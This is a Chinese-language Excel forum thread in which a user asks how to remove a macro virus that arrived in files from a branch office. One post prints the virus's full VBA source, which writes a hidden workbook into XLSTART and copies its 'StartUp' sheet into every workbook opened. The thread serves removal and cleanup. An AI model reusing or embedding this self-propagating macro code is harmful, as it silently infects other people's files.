返回列表 上一主題 發帖

無法消除巨集

無法消除巨集

您好:
我收到分公司寄來的檔案,其中含有巨集及一個隱藏檔"1006ㄗ?ㄘ",      HD1205155s.zip (9.59 KB)
現在關啟Excel使用時會一直出現對話框  
而且將Excel關閉時無法真正關閉,必須關二次才行,
請關我要如何使這個巨集消失?

回復 2# chin15
問題就是找不到!且這個檔案是別人寄給我的,上面的路徑怎會有這個檔?

TOP

本帖最後由 oobird 於 2012-6-1 23:31 編輯

[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN

以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框.  [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls"  我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中   
需要再按一次關閉才會真正關掉excel.
  1. Sub auto_open()
  2.   On Error Resume Next
  3.   If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
  4.     Application.ScreenUpdating = False
  5.     ThisWorkbook.Sheets("StartUp").Copy
  6.     ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
  7.     n$ = ActiveWorkbook.Name
  8.     ActiveWindow.Visible = False
  9.     Workbooks("1006ㄗ攣ㄘ.xls").Save
  10.     Workbooks(n$).Close (False)
  11.   End If
  12.   Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"

  13. End Sub

  14. Sub acop()
  15.   On Error Resume Next
  16.   If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
  17.     Application.ScreenUpdating = False
  18.     n$ = ActiveSheet.Name
  19.     Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
  20.     Sheets(n$).Select
  21.   End If
  22. End Sub
複製代碼

TOP

回復 6# oobird
不好意思,我不知道它是病毒,請問我放上去的檔要怎麼刪?
另外我前面提到的問題是否能解決?

TOP

回復 6# oobird

我打開你提供的檔案,它就閃了一下,這樣是否有用?
upload的檔案我找不到地方可以前除,可以幫我刪嗎?或者是否我沒有權限?
我的檔案是經由email收到的,我要怎樣除去email及檔案的毒?
另外前面提到的問題能否解決?

TOP

回復 10# oobird

我剛才除了用你提供的掃毒程式外,也用Avast掃一次資料夾,都說沒有毒,但1樓及5樓的對話框還是存在的,前面所提的情形也都相同,我可以怎麼做呢?
另外我發問時upload的檔案可否也幫忙刪除?因為檔案是相同情形我想也是有毒的.
謝謝您!

TOP

回復 12# oobird
回復 13# HUNGCHILIN

不好意思,我想問清楚些,以防我做錯動作.
1) C:\Users\PJ\AppData\Roaming\Microsoft\Excel\XLSTART\1006ㄗ攣ㄘ,我已經找到這個檔也cancel了.
2) 將刪xlstart病毒.bat 放在C:\Users\PJ\AppData\Roaming\Microsoft\Excel\XLSTART 中,若是有人又給我這個路徑的毒,這時它會自動刪除?我剛試了一下,好像真的實施2) 的程序後,現在開啟檔案跟之前不同了.
3) 4樓的程式是將C:\Users\PJ\AppData\Roaming\Microsoft\Excel\XLSTART\1006ㄗ攣ㄘ刪除,不過5樓的巨集仍存在檔案中,這個巨集是怎麼跑到excel中的?有沒有一種程式可以刪除它?但我只要刪除這個巨集,檔案要保留,同時因為檔案有很多個,一個一個刪太多動作了,如果我將我懷疑有這個巨集的檔案,都放在"TTT"資料夾中,有沒有什麼程式可以一次將資料夾中的奇怪巨集一次性的刪除?

TOP

回復 12# oobird
不好意思剛才14樓所提出的問題只在我刪除了"1006ㄗ攣ㄘ"後短暫的消失,而且我現在開啟excel都會先出現
然後我再到C:\Users\PJ\AppData\Roaming\Microsoft\Excel\XLSTART\查看,結果還是存在著"1006ㄗ攣ㄘ"這個檔,即使我將它刪除了,一但我開啟了那些存在著奇怪巨集的檔案,"1006ㄗ攣ㄘ"還是會再次出現,而且我在5樓提到的問題,也都還是出現.

TOP

回復 4# HUNGCHILIN

請問你的巨集要怎麼使用?我想應該不是放在每個有奇怪巨集的檔案中,這樣太費事了,但將它放在另一個excel檔案中,結果又不能用! 請指導.
XLSTART_cancel.zip (10.59 KB)

TOP

回復 17# oobird
我將檔案換上你現在所提供的,但會有下列情形,請幫忙看看是否能解決?
1) 打開某些含病毒的檔,"清除StartUp.xls"將病毒清除後,所打開的檔會替換成清除StartUp.xls的巨集,有沒有一種方式可以清除病毒後,也不要將清除StartUp.xls的巨集留在所開的檔案中,也就是所要使打開的檔案不含巨集,因為它既然是掃毒,如果是將所有巨集清除是否也可以呢?
2) 第二種情形的檔案是打開後"清除StartUp.xls"它會說掃毒完了,但原先有毒的巨集仍存在,清除StartUp.xls的巨集也存在,在C:\Users\PJ\AppData\Roaming\Microsoft\Excel\XLSTART\中還是會有1006ㄗ攣ㄘ.xls這個檔,我將這個檔upload,其它人若沒有掃毒程式請不要download   HD1205 156-1121 LOTB.zip (15.22 KB)
3) 上述第二種情是想請你幫忙看看這樣是否正常?但我也希望最終處理能像 1) 的說明那樣: 使打開的檔案不含巨集,因為它既然是掃毒,如果是將所有巨集清除是否也可以呢?

TOP

        靜思自在 : 【為善競爭】人生要為善競爭,分秒必爭。
返回列表 上一主題